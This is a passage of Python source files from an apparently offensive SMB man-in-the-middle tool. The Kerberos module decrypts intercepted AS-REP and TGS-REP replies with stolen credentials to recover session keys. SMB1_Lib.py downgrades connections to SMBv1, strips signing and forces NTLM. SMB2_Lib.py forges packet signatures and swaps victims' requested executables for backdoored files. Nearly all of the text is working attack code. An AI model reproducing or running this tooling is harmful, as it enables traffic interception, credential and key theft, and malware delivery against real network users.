'' 54 | if(etype2['etype'] not in self.PREAUTH_ENCTYPES): 55 | self.PREAUTH_ENCTYPES[etype2['etype']] = [] 56 | self.PREAUTH_ENCTYPES[etype2['etype']].append(salt) 57 | 58 | elif method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: 59 | etypes = decoder.decode(str(method['padata-value']), asn1Spec = ETYPE_INFO())[0] 60 | for etype in etypes: 61 | try: 62 | if etype['salt'] is None or etype['salt'].hasValue() is False: 63 | salt = '' 64 | else: 65 | salt = str(etype['salt']) 66 | except PyAsn1Error, e: 67 | salt = '' 68 | 69 | if(etype['etype'] not in self.PREAUTH_ENCTYPES): 70 | self.PREAUTH_ENCTYPES[etype['etype']] = [] 71 | self.PREAUTH_ENCTYPES[etype['etype']].append(salt) 72 | 73 | except PyAsn1Error: 74 | # self.logger.error("[K2TKerb parse_PreauthError3]") 75 | pass 76 | except Exception, e: 77 | print("[K2TKerb::parse_PreauthError]: " + str(e) + " " + traceback.format_exc()) 78 | # self.info['kerbSessionSalts_Lock'].release() 79 | 80 | # Compromises the KerberosSessionKey and populates it in self.KERB_SESSION_KEYS 81 | def parse_AS_REP(self, rawData): 82 | if(len(self.PREAUTH_ENCTYPES.keys()) == 0): 83 | return rawData 84 | # self.info['kerbSessionSalts_Lock'].acquire() 85 | # self.info['kerbSessionKeys_Lock'].acquire() 86 | try: 87 | cname_start = rawData.find('\xa1\x12\x30\x10') + 6 88 | cname_end = rawData.find('\xa5', cname_start) 89 | userInRep = rawData[cname_start:cname_end] 90 | # 91 | # self.info['poppedCredsDB_Lock'].acquire() 92 | # 93 | asRep = decoder.decode(rawData[4:], asn1Spec = AS_REP())[0] 94 | 95 | for user in self.info['poppedCredsDB'].keys(): 96 | popped = self.info['poppedCredsDB'][user] 97 | if (str(asRep['cname']['name-string'][0]).lower() == popped.username.lower()): 98 | # Try to decrypt the KerberosSessionKey with the user's password 99 | enctype = int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) 100 | cipher = _enctype_table[enctype] 101 | 102 | for encType in self.PREAUTH_ENCTYPES[enctype]: 103 | try: 104 | # if(popped.nt_hash != ''): 105 | # self.logger.info("USING NT-HASH") 106 | # key = Key(cipher.enctype, popped.nt_hash) 107 | # else: 108 | key = cipher.string_to_key(popped.password, encType, None) 109 | 110 | 111 | cipherText = asRep['enc-part']['cipher'] 112 | plainText = cipher.decrypt(key, 3, str(cipherText)) 113 | 114 | encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] 115 | sessionKey = Key(cipher.enctype, str(encASRepPart['key']['keyvalue'])) 116 | 117 | # This is the user's Kerberos session key 118 | self.KERB_SESSION_KEYS.append(sessionKey) 119 | 120 | self.logger.info("\t!!! Popped a user's AS_REP !!! " + hexlify(sessionKey.contents)) 121 | break 122 | except: 123 | continue 124 | 125 | # self.info['poppedCredsDB_Lock'].release() 126 | except Exception, e: 127 | self.logger.error("K2TKerb[parseServerResponse] Type 11 Error: " + str(e) + " " + traceback.format_exc()) 128 | # self.info['kerbSessionSalts_Lock'].release() 129 | # self.info['kerbSessionKeys_Lock'].release() 130 | 131 | # Compromises the ServiceSessionKey and populates a new SMBKey in the SMBKeyChain shared dict 132 | def parse_TGS_REP(self, rawData): 133 | # mine = False 134 | # if not self.info['smbKeyChain_Lock'].locked(): 135 | # self.info['smbKeyChain_Lock'].acquire() 136 | # mine = True 137 | try: 138 | enctype = int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) 139 | cipher = _enctype_table[enctype] 140 | tgs = decoder.decode(rawData[4:], asn1Spec = TGS_REP())[0] 141 | cipherText = tgs['enc-part']['cipher'] 142 | # Key Usage 8 143 | # TGS-REP encrypted part (includes application session 144 | # key), encrypted with the TGS session key (Section 5.4.2) 145 | sk = None 146 | plainText = None 147 | kerbSessionKey = None 148 | for ksessionKey in self.KERB_SESSION_KEYS: 149 | try: 150 | plainText = cipher.decrypt(ksessionKey, 8, str(cipherText)) 151 | kerbSessionKey = ksessionKey 152 | break 153 | except Exception, e: 154 | self.logger.info("Failed to decrypt TGS with " + hexlify(ksessionKey.contents)) 155 | pass 156 | if plainText == None: 157 | # print("Failed to decrypt TGS ServiceSessionKey") 158 | return rawData 159 | 160 | encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] 161 | ServiceSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue'])) 162 | cipher = _enctype_table[encTGSRepPart['key']['keytype']] 163 | newKey = SMBKey(sessionBaseKey = ServiceSessionKey.contents[:16], kerbSessionKey = kerbSessionKey.contents, kerbServiceSessionKey = ServiceSessionKey.contents) 164 | 165 | # Load the popped key into the keychain 166 | # self.info['smbKeyChain'][hash(newKey)] = newKey 167 | # self.info['kerbPoppedKeys'].put(newKey) # For speed 168 | 169 | # if(mine): 170 | # self.info['smbKeyChain_Lock'].release() 171 | self.logger.info("[K2TKerb]\t !!!Compromised TGS ServiceSessionKey (SMB SessionBaseKey is first 16 bytes)!!! " + hexlify(newKey.KERBEROS_SERVICE_SESSION_KEY)) 172 | 173 | # SMBKey(sessionBaseKey = ServiceSessionKey.contents[:16], dialect = self.SESSION_DIALECT, kerbSessionKey = smbKey.KERBEROS_SESSION_KEY, kerbServiceSessionKey = ServiceSessionKey.contents) 174 | 175 | except Exception, e: 176 | print("K2TKerb[parseServerResponse] Type 13 Error: " + str(e)+ " " + traceback.format_exc()) 177 | pass 178 | # self.info['kerbSessionKeys_Lock'].release() 179 | 180 | # Handle the intercept 181 | def parseClientRequest(self, request): 182 | ''' 183 | try: 184 | if(self.info['attackConfig'].KERBEROS_KILLER): 185 | # self.logger.info("KERB KILLER?!?!?!!") 186 | # If it's a TGS request, drop it 187 | return 188 | 189 | # Handle split TCP segments 190 | if(self.CLT_INCOMPLETE_MESSAGE): 191 | # self.logger.info("SPLIT KERB MESSAGE") 192 | self.CLT_MESSAGE_DATA += request 193 | if(len(self.CLT_MESSAGE_DATA) != self.CLT_MESSAGE_LENGTH): 194 | # self.logger.info("SPLIT KERB MESSAGE: " + str(len(self.CLT_MESSAGE_DATA)) + "/" + str(self.CLT_MESSAGE_LENGTH)) 195 | return 196 | else: 197 | request = str(self.CLT_MESSAGE_DATA) 198 | self.CLT_MESSAGE_DATA = "" 199 | self.CLT_INCOMPLETE_MESSAGE = False 200 | self.CLT_MESSAGE_LENGTH = 0 201 | 202 | if not self.CLT_INCOMPLETE_MESSAGE: 203 | messageLength = struct.unpack(">i", request[0:4])[0] 204 | if(len(request) < messageLength + KERB_HEADER_LENGTH): 205 | # logging.info("SPLIT KERB MESSAGE2: " + str(len(response)) + "/" + str(messageLength + KERB_HEADER_LENGTH)) 206 | # self.logger.info("SPLIT KERB MESSAGE") 207 | self.CLT_INCOMPLETE_MESSAGE = True 208 | self.CLT_MESSAGE_LENGTH = messageLength + KERB_HEADER_LENGTH 209 | self.CLT_MESSAGE_DATA = request 210 | return 211 | except: 212 | return request 213 | # TODO: Record victim AS-REQ to crack 214 | 215 | ''' 216 | return request 217 | 218 | # Handles the intercept 219 | def parseServerResponse(self, response): 220 | # self.logger.info("RESPONSE: " + hexlify(response)) 221 | try: 222 | # self.logger.info("SRV_INCOMPLETE_MESSAGE: " + str(self.SRV_INCOMPLETE_MESSAGE)) 223 | # We are expecting the remaining parts 224 | # of a kerb packet 225 | if(self.SRV_INCOMPLETE_MESSAGE == True): 226 | # self.logger.info("STACKING PACKET") 227 | self.SRV_MESSAGE_DATA += response 228 | 229 | # Check if we've recieved all of the data 230 | if(len(self.SRV_MESSAGE_DATA) == self.SRV_MESSAGE_LENGTH + 4): 231 | # self.logger.info("COMPILED") 232 | response = str(copy.deepcopy(self.SRV_MESSAGE_DATA)) 233 | self.SRV_MESSAGE_DATA = "" 234 | self.SRV_INCOMPLETE_MESSAGE = False 235 | self.SRV_MESSAGE_LENGTH = 0 236 | else: 237 | # self.logger.info("Stacking data: " + str(len(self.SRV_MESSAGE_DATA)) + "/" + str(self.SRV_MESSAGE_LENGTH + 4)) 238 | # self.logger.info("\n" + hexlify(response)) 239 | # Don't have all of the data yet, stay our response 240 | return 241 | messageLength = struct.unpack(">i", response[:4])[0] 242 | if(len(response) < messageLength + 4): 243 | self.SRV_INCOMPLETE_MESSAGE = True 244 | self.SRV_MESSAGE_LENGTH = messageLength 245 | self.SRV_MESSAGE_DATA = response 246 | 247 | # self.logger.info("Kerberos getting split: " + str(len(self.SRV_MESSAGE_DATA)) + "/" + str(self.SRV_MESSAGE_LENGTH + 4) + "\n" + hexlify(response)) 248 | return 249 | 250 | 251 | # self.logger.info("Sending off packet: " + hexlify(response)) 252 | # ''' 253 | version = response.find('\xa1\x03\x02\x01') 254 | if(version == -1): 255 | # Not kerberos? 256 | return response 257 | messageType = version + 4 258 | mtype = "" 259 | mtype = struct.unpack(">B", response[messageType])[0] 260 | 261 | return response 262 | 263 | # PREAUTH_ERROR - containing salts 264 | if(mtype == 30): 265 | self.parse_PreauthError(response) 266 | # AS_REP (contains the user's encypted KerberosSessionKey) 267 | if(mtype == 11): 268 | self.parse_AS_REP(response) 269 | # TGS_REP - containing a Kerberos ServiceSessionKey 270 | if(mtype == 13): 271 | self.parse_TGS_REP(response) 272 | 273 | if mtype not in [30, 11, 13]: 274 | self.logger.info("UNKNOWN MESSAGE TYPE: " + str(mtype)) 275 | #''' 276 | return response 277 | except Exception, e: 278 | self.logger.error("K2TKerb[parseServerResponse] " + str(e) + " " + traceback.format_exc()) 279 | return response 280 | 281 | -------------------------------------------------------------------------------- /lib/SMB1_Lib.py: -------------------------------------------------------------------------------- 1 | from impacket.smb3 import * 2 | from impacket.smb3structs import * 3 | from impacket import smb 4 | import struct 5 | import socket 6 | import os 7 | import copy 8 | from random import randint 9 | from impacket import spnego 10 | import traceback 11 | import logging 12 | from binascii import hexlify, unhexlify 13 | from SMB_Core import SMB_Core 14 | 15 | 16 | class SMB1_Lib(SMB_Core): 17 | # Returns a modified smb1 negotiate protocol request packet that strips away 18 | # any claims for supporting smb2/3 19 | # 20 | # Takes in a NewSMBPacket as negProtocolReqPacket 21 | def negotiateReq_StripSMBDialects(self, negProtocolReqPacket): 22 | # Parse the request 23 | negSession = SMBCommand(negProtocolReqPacket['Data'][0]) 24 | dialects = negSession['Data'].split('\x02') 25 | # Track what index SMBv1 is in 26 | for di in range(0, len(dialects)): 27 | if(dialects[di] == 'NT LM 0.12\x00'): 28 | self.SMB1_DIALECT_INDEX = di - 1 29 | 30 | # Replace their list of dialects, with a singular list containing only "NT LM 0.12" (smbv1 as we know it) 31 | modCmd = SMBCommand(unhexlify("000e00024e54204c4d20302e3132000200")) 32 | negProtocolReqPacket['Data'][0] = str(modCmd) 33 | # Return the modded packet 34 | return negProtocolReqPacket 35 | # Returns a modified smb1 negotiate protocol response packet that acknowledges 36 | # the SMB1 dialect. This must be adjusted since we faked the list, the index it 37 | # states is selecting won't actually match the SMB1 index from the original 38 | # negotiate packet 39 | def negotiateResp_StripSMBDialects(self, negProtocolRespPacket): 40 | respData = SMBCommand(negProtocolRespPacket['Data'][0]) 41 | dialectData = SMBNTLMDialect_Parameters(respData['Parameters']) 42 | 43 | 44 | dialectData['DialectIndex'] = self.SMB1_DIALECT_INDEX 45 | respData['Parameters'] = dialectData 46 | 47 | negProtocolRespPacket['Data'][0] = str(respData) 48 | 49 | return negProtocolRespPacket 50 | 51 | # Returns a modified smb1 negotiate protocol request packet that strips away 52 | # any non-required signing features 53 | # 54 | # Takes in a NewSMBPacket as negProtocolReqPacket 55 | def negotiateReq_StripSignatureSupport(self, negProtocolReqPacket): 56 | # Parse the data 57 | negSession = SMBCommand(negProtocolReqPacket['Data'][0]) 58 | # Strip support for signatures (This won't work if they're REQUIRED) 59 | negSession['Flags2'] = negSession['Flags2'] & (~SMB.SECURITY_SIGNATURES_ENABLED) 60 | negProtocolReqPacket['Data'][0] = str(negSession) 61 | # Return the modded packet 62 | return negProtocolReqPacket 63 | 64 | # Returns a modified smb1 negotiate protocol request packet that strips away 65 | # any claims for supporting every auth mechanisms except NTLM 66 | # 67 | # Takes in a NewSMBPacket as negProtocolReqPacket 68 | def negotiateReq_DowngradeToNTLM(self, negProtocolReqPacket): 69 | # Parse the data 70 | negSession = SMBCommand(negProtocolReqPacket['Data'][0]) 71 | # Strip support for signatures (This won't work if they're REQUIRED) 72 | negSession['Flags2'] = negSession['Flags2'] & (~SMB.SECURITY_SIGNATURES_ENABLED) 73 | negProtocolReqPacket['Data'][0] = str(negSession) 74 | # Return the modded packet 75 | return negProtocolReqPacket 76 | 77 | # This generates a simple SMB_COM_ECHO packet 78 | # to send to the server - keeping the message #'s 79 | # in sync while we feed the victim a fake file/info 80 | def generateEchoMessage(self, pkt): 81 | # https://msdn.microsoft.com/en-us/library/ee441746.aspx 82 | pass 83 | 84 | # 85 | def handleRequest(self, rawData): 86 | try: 87 | packet = NewSMBPacket(data = rawData[4:]) 88 | #Negotiate Protocol Request 89 | if(packet['Command'] == 114): 90 | if(self.info['attackConfig'].DIALECT_DOWNGRADE): 91 | # check server support 92 | logging.info("Downgrading client request to SMBv1") 93 | packet = self.negotiateReq_StripSMBDialects(packet) 94 | 95 | 96 | if(self.info['attackConfig'].SECURITY_DOWNGRADE): 97 | logging.info("Stripping client signature support") 98 | packet = self.negotiateReq_StripSignatureSupport(packet) 99 | 100 | 101 | if(self.info['attackConfig'].AUTHMECH_DOWNGRADE): 102 | logging.info("Downgrading auth mechanisms to NTLM") 103 | packet = self.negotiateReq_DowngradeToNTLM(packet) 104 | 105 | return self.restackSMBChainedMessages([packet]) 106 | except Exception, e: 107 | return rawData 108 | # 109 | def handleResponse(self, rawData): 110 | try: 111 | # Craft the packet 112 | packet = NewSMBPacket(data = rawData[4:]) 113 | 114 | #Negotiate Protocol Response 115 | if(packet['Command'] == 114): 116 | if(self.info['attackConfig'].DIALECT_DOWNGRADE and self.SMB1_DIALECT_INDEX > -1): 117 | logging.info("Succesfully downgraded to SMBv1") 118 | packet = self.negotiateResp_StripSMBDialects(packet) 119 | 120 | return self.restackSMBChainedMessages([packet]) 121 | except Exception, e: 122 | return rawData 123 | 124 | -------------------------------------------------------------------------------- /lib/SMB2_Lib.py: -------------------------------------------------------------------------------- 1 | from impacket.smb3 import * 2 | from impacket.smb3structs import * 3 | from impacket import smb 4 | from impacket.spnego import TypesMech 5 | from impacket import ntlm 6 | from impacket import nt_errors 7 | import struct 8 | from impacket.krb5.asn1 import * 9 | import tempfile 10 | import socket 11 | import copy 12 | from random import randint 13 | from impacket import spnego 14 | from pyasn1.codec.der import decoder, encoder 15 | import logging 16 | import traceback 17 | import os 18 | from binascii import hexlify, unhexlify 19 | from SMB_Core import SMB_Core, SMBKey, FileRequestStruct, NTLMV2_Struct, SystemInfo 20 | import copy 21 | 22 | import pylnk 23 | 24 | import time 25 | 26 | from SMB_Core import SMBKey 27 | from ebcLib import MiTMModule 28 | from binascii import hexlify, unhexlify 29 | import hashlib 30 | import traceback 31 | from pyasn1.codec.der import decoder, encoder 32 | from impacket.krb5.crypto import Key, _enctype_table 33 | from impacket.krb5.asn1 import * 34 | import logging 35 | import struct 36 | from pyasn1.error import PyAsn1Error 37 | 38 | # For session key & signature computation 39 | from Crypto.Cipher import ARC4 40 | from impacket import crypto 41 | import hashlib 42 | import hmac 43 | 44 | EXECUTABLE_EXTENSIONS = ["exe", "msi", "lnk", "war", "jsp", "vbs", "vb"] 45 | 46 | 47 | class SMB2_Lib(object): 48 | 49 | # 50 | def __init__(self, data, MiTMModuleConfig = dict()): 51 | logging.getLogger(__name__).addHandler(logging.NullHandler()) 52 | self.logger = logging.getLogger(__name__) 53 | 54 | 55 | # Stateful variables 56 | self.info = data # The EasySharedMemory object passed from the SMBetray MiTMModule 57 | self.MiTMModuleConfig = MiTMModuleConfig # The same MiTMModuleConfig from the parent MiTMModule, loaded by the MiTMServer 58 | self.DIALECT = None # To be replaced with the impacket.smb.SMB dialect settled on (eg SMB_DIALECT) 59 | self.SPOOFED_CLIENT_GUID = ''.join([random.choice(string.letters) for i in range(16)]) # A random client GUID 60 | 61 | # Keep track of the server & client info 62 | self.SERVER_INFO = SystemInfo() 63 | self.CLIENT_INFO = SystemInfo() 64 | 65 | # Mandatory variables to track requested files/etc 66 | self.CREATE_REQUEST_TRACKER = dict() # A dict of FileRequestStruct's with their CREATE_REQUEST_ID (the message id) as their key 67 | self.FILE_REQUEST_TRACKER = dict() # a dict of FileRequestStruct's with their GUID as the key 68 | self.REQUEST_TRACKER = dict() # Map every message_id to the FileRequestStruct in question 69 | self.FILE_INFO_CLASS_TRACKER = dict() # Ties the FILE_INFO_CLASS request to the associated response: self.FILE_INFO_CLASS_TRACKER[message_id] = int(InfoType) 70 | self.FILE_INFO_TYPE_TRACKER = dict() # Ties the INTO_TYPE request to the associated response: self.FILE_INFO_TYPE_TRACKER[message_id] 71 | self.CURRENT_DIRECTORY = "" 72 | 73 | # Auth & Security related variables 74 | self.SESSION_DIALECT = None 75 | self.SESSION_SIGNED = False 76 | self.SESSION_ENCRYPTED = False 77 | self.PREAUTH_PACKET_STACK = [] # A list of SMB2Packets to calculate the preauth integerity hash in case SMB3.1.1 is used 78 | self.KNOWN_KEY = None # To be replaced with an SMBKey if we have the creds & crack the session key 79 | self.NTLMV2_DATASTORE = [] # Stores all captured NTLMv2 negotiate, challenge, and challenge response messages (for hashes and for session key cracking) 80 | self.CREDS_DATASTORE = [] # Stores all of the domains/users/passwords from the popped-credentials file 81 | 82 | # File swapping variables 83 | self.BACKDOOR_REQ_DATA = dict() # When we reieve a request for a file meeting our criteria for backdooring, record it in here 84 | self.BACKDOOR_EXT_SWAP_LIBRARY = dict() # contains keys ordered as 'exe' -> "/directory/extension_file.exe" 85 | self.BACKDOOR_FILE_SWAP_LIBRARY = dict() 86 | 87 | # File injection variables 88 | self.INJECTION_REQ_DATA = dict() # A dict of SMB packets (message_id is their key) to be parsed by the fullMasquaradeServer 89 | self.INJECTED_FILE_TRACKER = dict() # A list of full paths to files we have injected into directories. This keeps track for when we recieve a request for one 90 | self.INJECT_FILE_LIBRARY = dict() # Just a list of FileRequestStructs of the injected files 91 | 92 | 93 | # Prep the files to be injected 94 | if self.info['attackConfig'].INJECT_FILES_DIR != None: 95 | self.logger.info("Prepping files to be injected from " + self.info['attackConfig'].INJECT_FILES_DIR) 96 | for filename in os.listdir(self.info['attackConfig'].INJECT_FILES_DIR): 97 | newFile = FileRequestStruct() 98 | newFile.FILE_GUID = ''.join([random.choice(string.letters) for i in range(16)]) 99 | # Make sure the guid is unique 100 | while newFile.FILE_GUID in self.FILE_REQUEST_TRACKER: 101 | newFile.FILE_GUID = ''.join([random.choice(string.letters) for i in range(16)]) 102 | newFile.FILE_NAME = filename 103 | newFile.FILE_BYTE_SIZE = int(os.stat(self.info['attackConfig'].INJECT_FILES_DIR + "/" + filename).st_size) 104 | newFile.IS_INJECTED_FILE = True 105 | newFile.LOCAL_FILE_PATH = self.info['attackConfig'].INJECT_FILES_DIR + "/" + filename 106 | self.FILE_REQUEST_TRACKER[newFile.FILE_GUID] = newFile 107 | self.INJECT_FILE_LIBRARY[newFile.FILE_GUID] = newFile 108 | # Prep the content of the file-name specific things being backdoored 109 | if self.info['attackConfig'].FILENAME_SWAP_DIR != None: 110 | self.logger.info("Prepping filename-specific content for backdooring from " + self.info['attackConfig'].FILENAME_SWAP_DIR) 111 | for filename in os.listdir(self.info['attackConfig'].FILENAME_SWAP_DIR): 112 | newFile = FileRequestStruct() 113 | newFile.FILE_GUID = ''.join([random.choice(string.letters) for i in range(16)]) 114 | # Make sure the guid is unique 115 | while newFile.FILE_GUID in self.FILE_REQUEST_TRACKER: 116 | newFile.FILE_GUID = ''.join([random.choice(string.letters) for i in range(16)]) 117 | newFile.FILE_NAME = filename 118 | newFile.LOCAL_FILE_PATH = self.info['attackConfig'].FILENAME_SWAP_DIR + "/" + filename 119 | newFile.FILE_BYTE_SIZE = int(os.stat(self.info['attackConfig'].FILENAME_SWAP_DIR + "/" + filename).st_size) 120 | newFile.IS_BACKDOOR_TARGET = True 121 | newFile.IS_INJECTED_FILE = True 122 | self.BACKDOOR_FILE_SWAP_LIBRARY[filename.lower()] = newFile 123 | self.FILE_REQUEST_TRACKER[newFile.FILE_GUID] = newFile 124 | # Prep the content of the extensions being backdoored 125 | if self.info['attackConfig'].EXTENSION_SWAP_DIR != None: 126 | self.logger.info("Prepping extensions content for backdooring from " + self.info['attackConfig'].EXTENSION_SWAP_DIR) 127 | for filename in os.listdir(self.info['attackConfig'].EXTENSION_SWAP_DIR): 128 | extension = filename[filename.find(".")+1:].lower() 129 | newFile = FileRequestStruct() 130 | newFile.FILE_GUID = ''.join([random.choice(string.letters) for i in range(16)]) 131 | # Make sure the guid is unique 132 | while newFile.FILE_GUID in self.FILE_REQUEST_TRACKER: 133 | newFile.FILE_GUID = ''.join([random.choice(string.letters) for i in range(16)]) 134 | newFile.LOCAL_FILE_PATH = self.info['attackConfig'].EXTENSION_SWAP_DIR + "/" + filename 135 | newFile.FILE_NAME = "tmp" #This will be replaced with whatever the client requests that has our target extension 136 | newFile.FILE_BYTE_SIZE = int(os.stat(self.info['attackConfig'].EXTENSION_SWAP_DIR + "/" + filename).st_size) 137 | newFile.IS_BACKDOOR_TARGET = True 138 | newFile.IS_INJECTED_FILE = True 139 | self.BACKDOOR_EXT_SWAP_LIBRARY[extension.lower()] = newFile 140 | self.FILE_REQUEST_TRACKER[newFile.FILE_GUID] = newFile 141 | 142 | # Split "chained" SMB2 packets, to parse each one 143 | # individually - include netbios header in the data variable 144 | def splitSMBChainedMessages(self, data): 145 | smbMessages = [] 146 | try: 147 | # SMB v2 148 | if(data[4:8] == '\xfe\x53\x4d\x42'): 149 | z = 4 150 | nx = data.find('\xfe\x53\x4d\x42', z + 1) 151 | while nx > -1: 152 | smbMessages.append(SMB2Packet(data = copy.deepcopy(data[z:nx]))) 153 | z = nx 154 | nx = data.find('\xfe\x53\x4d\x42', z + 1) 155 | # Required after the last iteration to get the remaining data 156 | smbMessages.append(SMB2Packet(data = copy.deepcopy(data[z:]))) 157 | return smbMessages 158 | except Exception, e: 159 | self.logger.error("[SMB2_Lib::splitSMBChainedMessages] " + str(traceback.format_exc())) 160 | return data 161 | # Rejoin the split SMB2 packets to one large 162 | # "chained" message - includes netbios header 163 | def restackSMBChainedMessages(self, SMBPacketList, as_client = False): 164 | reStacked = "" 165 | 166 | for i in range(0, len(SMBPacketList)): 167 | # Re-stack everything and appropriately adjust the NextCommand fields 168 | if(i < len(SMBPacketList) - 1): 169 | SMBPacketList[i]['NextCommand'] = len(str(SMBPacketList[i])) + ((8 - (len(str(SMBPacketList[i])) % 8)) % 8) 170 | SMBPacketList[i]['Data'] = SMBPacketList[i]['Data'] + str('\x00' * ((8 - (len(str(SMBPacketList[i])) % 8)) % 8)) #Padding 171 | else: 172 | SMBPacketList[i]['NextCommand'] = 0 173 | 174 | # Sign the packet, if we're signing stuff 175 | if(self.SESSION_SIGNED and self.KNOWN_KEY != None): 176 | if 'Signature' in SMBPacketList[i].__dict__['fields']: 177 | self.logger.info("Forging signature-previous: " + hexlify(SMBPacketList[i]['Signature'])) 178 | SMBPacketList[i]['Signature'] = '\x00' * 16 179 | SMBPacketList[i]['Signature'] = self.KNOWN_KEY.sign(SMBPacketList[i], as_client = as_client) 180 | self.logger.info("Forging signature: " + hexlify(SMBPacketList[i]['Signature'])) 181 | 182 | reStacked += str(SMBPacketList[i]) 183 | netbios = struct.pack('>i', len(str(reStacked))) 184 | # Return the ready-to-send packet 185 | return str(netbios) + str(reStacked) 186 | 187 | # These methods are required to keep track of what file/directory we're dealing with 188 | def negotiateReq_track(self, packet): 189 | req = SMB2Negotiate(packet['Data']) 190 | # https://msdn.microsoft.com/en-us/library/cc246563.aspx 191 | if(req['SecurityMode'] == 1): 192 | self.CLIENT_INFO.SIGNATURES_ENABLED = True 193 | self.CLIENT_INFO.SIGNATURES_REQUIRED = False 194 | if(req['SecurityMode'] == 2): 195 | self.CLIENT_INFO.SIGNATURES_ENABLED = False 196 | self.CLIENT_INFO.SIGNATURES_REQUIRED = True 197 | if(req['SecurityMode'] == 3): 198 | self.CLIENT_INFO.SIGNATURES_ENABLED = True 199 | self.CLIENT_INFO.SIGNATURES_REQUIRED = True 200 | # Get the dialects 201 | self.CLIENT_INFO.SUPPORTED_DIALECTS += req['Dialects'] 202 | 203 | # Encryption (If client and server put the 'support' flag, encryption will be used) 204 | if (req['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: 205 | self.CLIENT_INFO.ENCRYPTION_ENABLED = True 206 | else: 207 | self.CLIENT_INFO.ENCRYPTION_ENABLED = False 208 | def negotiateResp_track(self, packet): 209 | resp = SMB2Negotiate_Response(packet['Data']) 210 | # https://msdn.microsoft.com/en-us/library/cc246563.aspx 211 | if(resp['SecurityMode'] == 1): 212 | self.SERVER_INFO.SIGNATURES_ENABLED = True 213 | self.SERVER_INFO.SIGNATURES_REQUIRED = False 214 | if(resp['SecurityMode'] == 2): 215 | self.SERVER_INFO.SIGNATURES_ENABLED = False 216 | self.SERVER_INFO.SIGNATURES_REQUIRED = True 217 | if(resp['SecurityMode'] == 3): 218 | self.SERVER_INFO.SIGNATURES_ENABLED = True 219 | self.SERVER_INFO.SIGNATURES_REQUIRED = True 220 | 221 | # Server decides dialect 222 | self.SESSION_DIALECT = resp['DialectRevision'] 223 | 224 | # NTLM_SUPPORTED 225 | resp = SMB2Negotiate_Response(packet['Data']) 226 | securityBlob = SPNEGO_NegTokenInit(data = resp['Buffer']) 227 | if TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] not in securityBlob['MechTypes']: 228 | self.SERVER_INFO.NTLM_SUPPORTED = False 229 | else: 230 | self.SERVER_INFO.NTLM_SUPPORTED = True 231 | 232 | # Encryption (If client and server put the 'support' flag, encryption will be used) 233 | if (resp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: 234 | self.SERVER_INFO.ENCRYPTION_ENABLED = True 235 | else: 236 | self.SERVER_INFO.ENCRYPTION_ENABLED = False 237 | def createReq_track(self, packet): 238 | # Reset this stuff 239 | req = SMB2Create(packet['Data']) 240 | # Grab the file name from the request 241 | fname = os.path.normpath(req['Buffer'][:req['NameLength']]) 242 | # convert the name into utf8 243 | try: 244 | fname = fname.decode("utf-16le").encode("utf-8") 245 | pass 246 | except UnicodeDecodeError, e: 247 | if(str(e).find("truncated data") > -1): 248 | self.logger.debug("[SMB2_Lib::handleRequest]Caught unicode error - trying makeshift solution") 249 | try: 250 | fname = (fname + '\x00').decode("utf-16le").encode("utf-8") 251 | except UnicodeDecodeError, e: 252 | self.logger.critical(str(fname) + " - " + str(e)) 253 | 254 | shortName = fname[fname.rfind("\\", 0, len(fname))+1:].lower() 255 | # Check if they're requesting an injected file 256 | if fname in self.INJECTED_FILE_TRACKER: 257 | self.REQUEST_TRACKER[int(packet['MessageID'])] = self.INJECTED_FILE_TRACKER[fname] 258 | return 259 | # Check if they're requesting a file we want to backdoor 260 | if shortName in self.BACKDOOR_FILE_SWAP_LIBRARY: 261 | self.REQUEST_TRACKER[int(packet['MessageID'])] = self.BACKDOOR_FILE_SWAP_LIBRARY[shortName] 262 | return 263 | # Check if they're requesting a file extension we want to backdoor 264 | if shortName[shortName.find(".")+1:] in self.BACKDOOR_EXT_SWAP_LIBRARY: 265 | tmp = copy.deepcopy(self.BACKDOOR_EXT_SWAP_LIBRARY[shortName[shortName.find(".")+1:]]) 266 | tmp.FILE_NAME = shortName 267 | self.REQUEST_TRACKER[int(packet['MessageID'])] = tmp 268 | return 269 | 270 | self.CREATE_REQUEST_TRACKER[int(packet['MessageID'])] = fname 271 | def createResp_track(self, packet): 272 | if int(packet['MessageID']) in self.CREATE_REQUEST_TRACKER: 273 | resp = SMB2Create_Response(packet['Data']) 274 | 275 | r = FileRequestStruct() 276 | r.FILE_NAME = self.CREATE_REQUEST_TRACKER[int(packet['MessageID'])] 277 | r.FILE_GUID = str(resp['FileID']) 278 | r.FILE_BYTE_SIZE = int(resp['EndOfFile']) 279 | 280 | if(resp['FileAttributes'] & FILE_ATTRIBUTE_DIRECTORY): 281 | self.CURRENT_DIRECTORY = self.CREATE_REQUEST_TRACKER[packet['MessageID']] 282 | # Keep track so that we can tie the file GUID to a filename/etc 283 | self.FILE_REQUEST_TRACKER[str(resp['FileID'])] = r 284 | self.REQUEST_TRACKER[int(packet['MessageID'])] = r 285 | def closeReq_track(self, packet): 286 | data = SMB2Close(packet['Data']) 287 | if(str(data['FileID']) in self.FILE_REQUEST_TRACKER): 288 | self.REQUEST_TRACKER[int(packet['MessageID'])] = self.FILE_REQUEST_TRACKER[str(data['FileID'])] 289 | def readReq_track(self, packet): 290 | data = SMB2Read(data = packet['Data']) 291 | if(str(data['FileID']) in self.FILE_REQUEST_TRACKER): 292 | self.REQUEST_TRACKER[int(packet['MessageID'])] = self.FILE_REQUEST_TRACKER[str(data['FileID'])] 293 | def getInfoReq_track(self, packet): 294 | data = SMB2QueryInfo(packet['Data']) 295 | if(str(data['FileID']) in self.FILE_REQUEST_TRACKER): 296 | self.REQUEST_TRACKER[int(packet['MessageID'])] = self.FILE_REQUEST_TRACKER[str(data['FileID'])] 297 | def findReq_track(self, packet): 298 | data = SMB2QueryDirectory(packet['Data']) 299 | if(str(data['FileID']) in self.FILE_REQUEST_TRACKER): 300 | self.REQUEST_TRACKER[int(packet['MessageID'])] = self.FILE_REQUEST_TRACKER[str(data['FileID'])] 301 | if(hexlify(str(data['FileID'])) == 